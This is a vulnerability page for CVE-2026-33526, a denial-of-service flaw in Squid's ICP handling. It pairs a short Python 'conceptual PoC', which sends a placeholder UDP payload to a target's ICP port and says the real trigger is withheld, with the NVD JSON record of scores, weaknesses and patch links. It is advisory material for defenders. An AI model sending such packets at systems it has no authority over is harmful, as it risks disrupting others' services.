CVE-2026-33526

# This is a conceptual PoC for CVE-2026-33526. # It demonstrates sending a payload to the ICP port. # Specific packet structure to trigger UAF is not disclosed here. import socket import sys def send_icp_payload(target_ip, target_port=3130): # ICP_OP_QUERY (opcode 1) # Structure typically involves opcode, version, number, etc. # This payload is a placeholder for the actual trigger. payload = b'\x01\x00\x00\x02' + b'A' * 100 print(f"[*] Sending payload to {target_ip}:{target_port}") try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (target_ip, target_port)) sock.close() print("[+] Payload sent.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <target_ip>") else: send_icp_payload(sys.argv[1])

{"cve": {"id": "CVE-2026-33526", "sourceIdentifier": "[email protected]", "published": "2026-03-26T01:16:27.877", "lastModified": "2026-03-31T01:18:03.043", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Squid is a caching proxy for the Web. Prior to version 7.5, due to heap Use-After-Free, Squid is vulnerable to Denial of Service when handling ICP traffic. This problem allows a remote attacker to perform a reliable and repeatable Denial of Service attack against the Squid service using ICP protocol. This attack is limited to Squid deployments that explicitly enable ICP support (i.e. configure non-zero `icp_port`). This problem _cannot_ be mitigated by denying ICP queries using `icp_access` rules. Version 7.5 contains a patch."}, {"lang": "es", "value": "Squid es un proxy de almacenamiento en caché para la Web. Antes de la versión 7.5, debido a un uso después de liberación (Use-After-Free) en el heap, Squid es vulnerable a denegación de servicio al manejar tráfico ICP. Este problema permite a un atacante remoto realizar un ataque de denegación de servicio fiable y repetible contra el servicio Squid utilizando el protocolo ICP. Este ataque se limita a implementaciones de Squid que habilitan explícitamente el soporte ICP (es decir, configuran un 'icp_port' distinto de cero). Este problema _no puede_ mitigarse denegando consultas ICP utilizando reglas de 'icp_access'. La versión 7.5 contiene un parche."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}, {"lang": "en", "value": "CWE-826"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:squid-cache:squid:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.5", "matchCriteriaId": "9F62FE66-3319-4718-BD42-B374264D81E8"}]}]}], "references": [{"url": "https://github.com/squid-cache/squid/commit/8a7d42f9d44befb8fcbbb619505587c8de6a1e91", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/squid-cache/squid/security/advisories/GHSA-hpfx-h48q-gvwg", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/03/25/2", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Third Party Advisory"]}]}}